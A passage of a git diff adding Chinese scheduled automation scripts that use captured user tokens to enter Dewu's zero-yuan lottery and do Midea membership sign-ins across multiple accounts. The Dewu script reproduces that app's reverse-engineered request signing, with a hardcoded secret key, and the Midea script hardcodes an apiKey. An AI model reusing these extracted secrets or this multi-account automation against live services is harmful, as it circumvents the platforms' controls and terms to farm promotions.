const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e + ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) + : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log( + "", + `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2` + ); + this.log(); + if (this.isNode()) { + process.exit(1); + } + if (this.isQuanX()) { + $done(t); + } + } + })(t, s); +} diff --git a/脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js b/脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js new file mode 100644 index 0000000..c18343d --- /dev/null +++ b/脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js @@ -0,0 +1,330 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/dw.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/dw.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/dw.js +// # UploadedAt: 2026-04-08T12:04:40Z +// # SHA256: 643756c628cc298d1afacd86d11cb0f35889ab3d2203212a9ac4486e354f3569 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 得物APP 0元抽 +cron: 30 11 * * * +------------------------------------------ +#Notice: +得物0元抽 抓https://app.dewu.com/api 请求头的x-auth-token 去掉Bearer 多账户&或换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ +const CryptoJS = require("crypto-js"); +const { Env } = require("../tools/env") +const $ = new Env("得物0元抽"); +let ckName = `dwck`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + request(options) { + let sign = this.calculateSign(options.data) + options.url = options.url + `?sign=${sign}` + let baseHeaders = { + "Host": "app.dewu.com", + "ua": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/duapp/5.89.0", + "device_model": "iPhone 8", + "platform": "h5", + "Accept": "*/*", + "Accept-Encoding": "br;q=1.0, gzip;q=0.9, deflate;q=0.8", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/duapp/5.89.0", + "mode": "0", + "webua": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "netSourceType": "1", + "channel": "App Store", + "isRoot": "1", + "brand": "Apple", + "networktype": "WIFI", + "dudeviceTrait": "iPhone10,1", + "Accept-Language": "zh-Hans;q=1.0, en;q=0.9", + "app_build": "5.89.0.510", + "x-auth-token": "Bearer " + this.token, + "countryCode": "CN", + "appid": "h5", + "Connection": "keep-alive", + "Content-Type": "application/json", + "isProxy": "0", + "appVersion": "5.89.0", + "v": "5.89.0", + "deviceTrait": "iPhone", + "imei": "", + "emu": "0", + } + options.headers = Object.assign(baseHeaders, options.headers) + return axios.request(options) + } + async run() { + + await this.zeroLottery() + } + + async zeroLottery() { + + let options = { + method: "POST", + url: "https://app.dewu.com/api/v1/h5/oss-platform/hacking-zero-lottery/v1/activity/query-today", + headers: { "Content-Type": "application/json" }, + data: { "source": "wotab" } + } + let { data: result } = await this.request(options) + + if (result.code == 200) { + for (let i of result.data.activityList) { + if (i.status == 0) { + if ("taskVo" in i) { + //需要做任务 + + } else { + await this.zeroLotteryJoin(i.id) + } + } + } + } else { + $.log(`❌账号[${this.index}] 获取0元购列表失败[${result.msg}]🎉`) + } + + } + async zeroLotteryJoin(id) { + + let options = { + method: "POST", + url: "https://app.dewu.com/hacking-zero-lottery/v1/activity/engage-in", + headers: { "Content-Type": "application/json" }, + data: { "id": id, "source": "wotab", inner: true } + } + let { data: result } = await this.request(options) + + if (result.code == 200) { + $.log(`账号[${this.index}] 参与0元购成功🎉`) + } else { + $.log(`账号[${this.index}] 参与 0元购失败[${result.msg}]`) + + } + + } + + /*async DoTask(body) { + try { + let taskStatusResult = {}; + let commitBody = {}; + let preStatus = false + if (body.taskType == 50) { + taskStatusResult = await this.taskRequest_task("get", `https://app.dewu.com/hacking-task/v1/task/status?taskId=${body.taskId}&taskType=50&sign=94fd23c93d62ae0f75108f94c093b198`) + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.status == 1) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "btd": 0, spuId: 0 } + preStatus = true + } + } + } + if (body.taskType == 1) { + if ("classify" in body) { + if (body.classify == 2) { + taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 }) + //console.log(taskStatusResult); + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.isOk == true) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + $.log(`延迟${body.countdownTime + 1}秒浏览${body.taskName}`) + await $.wait((body.countdownTime + 1) * 1000) + commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 } + preStatus = true + } + } else { + $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`); + } + } + } else { + taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 }) + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.isOk == true) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + await $.wait(16000) + commitBody = { "taskId": body.taskId, "taskType": body.taskType, "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 } + preStatus = true + } + } else { + $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`); + } + } + + + } + if (body.taskType == 123 || body.taskType == 124) { + commitBody = { "taskType": String(body.taskType) } + preStatus = true + } + //console.log(taskStatusResult) + if (preStatus == true) { + let commitResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/commit?sign=826988b593cd8cd75162b6d3b7dade15`, commitBody) + //console.log(commitResult) + if (commitResult.code == 200) { + if (commitResult.data.status == 2) { + $.log(`账号[${this.index}] [${body.taskName}]任务成功🎉`) + return true + } else { + $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`) + } + } else { + $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`) + } + } else { + return false + } + } catch (e) { + console.log(e); + } + + }*/ + generateIds() { + var Uo = Array(32); + var oe = "0000000000000000"; + + function Ho(e) { + for (var t = 0; t < 2 * e; t++) + Uo[t] = Math.floor(16 * Math.random()) + 48, + Uo[t] >= 58 && (Uo[t] += 39); + return String.fromCharCode.apply(null, Uo.slice(0, 2 * e)); + } + + var Mo = "00000000000000000000000000000000"; // Assuming Mo is defined somewhere else in your code + + var generateSpanId = function () { + return function (e) { + var t = e(8); + if (t === oe) + return Mo; + return t; + }(Ho); + }; + + var generateTraceId = function () { + return function (e) { + var t = Math.floor(Date.now() / 1e3).toString(16), + n = e(8), + r = e(3); + return "f5" + r + t + n; + }(Ho); + }; + + return "00-" + generateTraceId() + "-" + generateSpanId() + "-01" + }; + + createEncryptedBody(data) { + const key2 = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANMGZPlLobHYWoZyMvHD0a6emIjEmtf5Z6Q++VIBRulxsUfYvcczjB0fMVvAnd1douKmOX4G690q9NZ6Q7z/TV8CAwEAAQ=="; + const publicKeyPem = '-----BEGIN PUBLIC KEY-----\n' + + key2 + + '-----END PUBLIC KEY-----'; + + global["window"] = {} + const jsencrypt = require("jsencrypt") + const crypt = new jsencrypt() + crypt.setKey(publicKeyPem) + const n = this.randomStr(48, 16); + const encrypted = crypt.encrypt(n) + const enBody = CryptoJS.enc.Utf8.parse(data); + const enResult = CryptoJS.AES.encrypt(enBody, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }); + //console.log(encrypted); + //console.log(hexToBase64(encrypted)); + const newBody = { + data: encrypted + "​" + enResult.ciphertext.toString().toUpperCase(), + }; + newBody.sign = this.calculateSign(newBody); + return { enData: newBody, n }; + function hexToBase64(hexString) { + const buffer = Buffer.from(hexString, 'hex'); + const base64String = buffer.toString('base64'); + return base64String; + } + } + randomStr(length, charset) { var tmp1, tmp2, data = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""), result = []; if (((charset = charset || data["length"]), length)) for (tmp1 = 0; tmp1 < length; tmp1++)result[tmp1] = data[0 | (Math.random() * charset)]; else for (result[8] = result[13] = result[18] = result[23] = "-", result[14] = "4", tmp1 = 0; tmp1 < 36; tmp1++)result[tmp1] || ((tmp2 = 0 | (16 * Math["random"]())), (result[tmp1] = data[19 === tmp1 ? (3 & tmp2) | 8 : tmp2])); return result["join"]("") } + decryptResponseBody(result, n) { + try { + const de1 = CryptoJS.enc.Hex.parse(result), + de2 = CryptoJS.enc.Base64.stringify(de1); + const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }).toString(CryptoJS.enc.Utf8); + return decrypted; + } catch (error) { + n = "987654321012345678901234567890123456789012345678" + const de1 = CryptoJS.enc.Hex.parse(result), + de2 = CryptoJS.enc.Base64.stringify(de1); + const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }).toString(CryptoJS.enc.Utf8); + return decrypted; + } + + } + //修复自 修改处理后 空值删除得情况 改为不删除 + calculateSign(requestBody) { const sortedKeys = Object.keys(requestBody).sort(); let signContent = sortedKeys.reduce((acc, key) => { const value = requestBody[key]; if (value === null) { return acc } if (typeof value === 'object' && !Array.isArray(value)) { return acc.concat(key).concat(JSON.stringify(value)) } if (Array.isArray(value)) { if (value.length > 0) { let typeOfFirstItem = typeof value[0]; if (typeOfFirstItem === 'object') { let arrayStr = ''; value.forEach((item, index) => { arrayStr += JSON.stringify(item) + (index !== value.length - 1 ? ',' : '') }); return acc.concat(key).concat(arrayStr) } } return acc.concat(key).concat(value.toString()) } return acc.concat(key).concat(value.toString()) }, ''); const secretKey = "048a9c4943398714b356a696503d2d36"; const hashedContent = CryptoJS.MD5(signContent.concat(secretKey)).toString(); return hashedContent } + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js b/脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js new file mode 100644 index 0000000..57fcbc8 --- /dev/null +++ b/脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js @@ -0,0 +1,251 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_midea.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_midea.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/wx_midea.js +// # UploadedAt: 2026-04-01T11:27:33Z +// # SHA256: 2ea2d16b2578d749c3e773114a2a65fd24ef25f054c036c8fac26fddf446d52a +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron 27 19 * * * wx_midea.js + * Show:每天运行一次 + * @author:https://github.com/smallfawn/QLScriptPublic + * 变量名:wx_midea + * 变量值:https://mvip.midea.cn/next/mucuserinfo/getmucuserinfo headers中的COOKIE 只写uid=xxxx;sukey=yyyy;#headers 中 ucAccessToken的值 + * 具体示例 uid=xxxx;sukey=yyyy;#7895566asa 多账号&分开 或者换行 + * scriptVersionNow = "0.0.1"; + */ + +const $ = new Env("微信小程序 - 美的会员"); +const notify = $.isNode() ? require('../sendNotify') : ''; +let ckName = "wx_midea"; +let envSplitor = ["&", "\n"]; //多账号分隔符 +let strSplitor = "#"; //多变量分隔符 +let userIdx = 0; +let userList = []; +let msg = ""; +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.at = str.split(strSplitor)[1]; + } + async main() { + $.msg($.name, "", `开始第${this.index}个账号`) + //await this.user_info(); + await $.wait(3000) + if (!this.ckStatus) { + $.msg($.name, "", `❌第${this.index}个账号失效`); + return; + } + await this.signIn() + await this.signIn2() + + } + async user_info() { + try { + let options = { + fn: "信息查询", + method: "get", + url: `https://mvip.midea.cn/next/mucuserinfo/getmucuserinfo`, + headers: { + "Host": "mvip.midea.cn", + "Connection": "keep-alive", + "charset": "utf-8", + "cookie": this.ck, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110005 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Content-Type": "application/json", + "Accept-Encoding": "gzip,compress,br,deflate", + "Referer": "https://servicewechat.com/wx03925a39ca94b161/409/page-frame.html" + }, + } + let result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result["errcode"] == 0) { + console.log(`✅${options.fn}成功 [${result.data.userinfo.Mobile}] 当前积分[${result.data.userinfo.VipGrow}]🎉`); + msg += `✅${options.fn}成功 [${result.data.userinfo.Mobile}] 当前积分[${result.data.userinfo.VipGrow}]🎉\n`; + this.ckStatus = true; + } else { + console.log(`❌${options.fn}失败`); + msg += `❌${options.fn}失败\n`; + this.ckStatus = false; + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async signIn() { + try { + let options = { + fn: "签到", + method: "get", + url: `https://mvip.midea.cn/my/score/create_daily_score`, + headers: { + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + "cookie": this.ck, + }, + } + let result = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + //console.log(result); + if (result["errcode"] == 0) { + console.log(`✅${options.fn}成功🎉`); + msg += `✅${options.fn}成功🎉\n`+JSON.stringify(result); + } else { + console.log(`❌${options.fn}失败`); + msg += `❌${options.fn}失败\n`; + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async signIn2() { + try { + let options = { + fn: "签到2", + method: "post", + url: `https://mvip.midea.cn/mscp_mscp/api/cms_api/activity-center-im-service/im-svr/im/game/page/sign`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300333 MMWEBSDK/20240404 MMWEBID/2585 MicroMessenger/8.0.49.2600(0x2800315A) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx03925a39ca94b161', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Encoding': 'gzip, deflate, br, zstd', + 'Content-Type': 'application/json', + 'sec-ch-ua-platform': '"Android"', + 'sec-ch-ua': '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"', + 'ucAccessToken': '' + this.at, + 'sec-ch-ua-mobile': '?1', + 'intercept': '1', + 'apiKey': '3660663068894a0d9fea574c2673f3c0', + 'Origin': 'https://mvip.midea.cn', + 'X-Requested-With': 'com.tencent.mm', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://mvip.midea.cn/mscp_weixin/apps/h5-pro-wx-interaction-marketing/', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + }, + body: JSON.stringify({ + "headParams": { + "language": "CN", + "originSystem": "MCSP", + "timeZone": "", + "userCode": "", + "tenantCode": "", + "userKey": "TEST_", + "transactionId": "" + }, + "pagination": null, + "restParams": { + "gameId": 22, + "actvId": "401671388248692763", + "rootCode": "MDHY", + "appCode": "MDHY_XCX", + "imUserId": "", + "uid": "", + "openId": "", + "unionId": "" + } + }) + } + + let result = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + //console.log(result); + console.log(`✅${options.fn}成功🎉`); + msg += `✅${options.fn}成功🎉\n` + JSON.stringify(result); + console.log(JSON.stringify(result)); + /*if (result["errcode"] == 0) { + console.log(`✅${options.fn}成功🎉`); + msg += `✅${options.fn}成功🎉\n`; + } else { + console.log(`❌${options.fn}失败`); + msg += `❌${options.fn}失败\n`; + console.log(JSON.stringify(result)); + }*/ + } catch (e) { + console.log(e); + } + } +} + +async function start() { + const tasks = userList.map(user => user.main()); + await Promise.all(tasks); + notify.sendNotify($.name, msg); + /*let taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall);*/ +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options) { + if (!options["method"]) { + return console.log(`请求方法不存在`); + } + if (!options["fn"]) { + console.log(`函数名不存在`); + } + return new Promise((resolve) => { + $[options.method](options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + try { + data = JSON.parse(data); + } catch (error) { } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), this.logs.push("", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="), this.logs.push(s), e && this.logs.push(e), i && this.logs.push(i) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) } diff --git a/脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js b/脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js new file mode 100644 index 0000000..12e30d6 --- /dev/null +++ b/脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js @@ -0,0 +1,128 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js +// # Repo: jdqlscript/toulu +// # Path: 微信小程序虔金E站.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: e1e429fad49d3ca582abe7eaf2f060325d2147c534f593c66313798be2843660 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 微信小程序虔金E站 每日签到 +------------------------------------------ +变量名qianjin +变量值https://www.xrservice.cn/请求头Headers中Homing-Auth的值 去掉Bearer 多账号&或换行 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 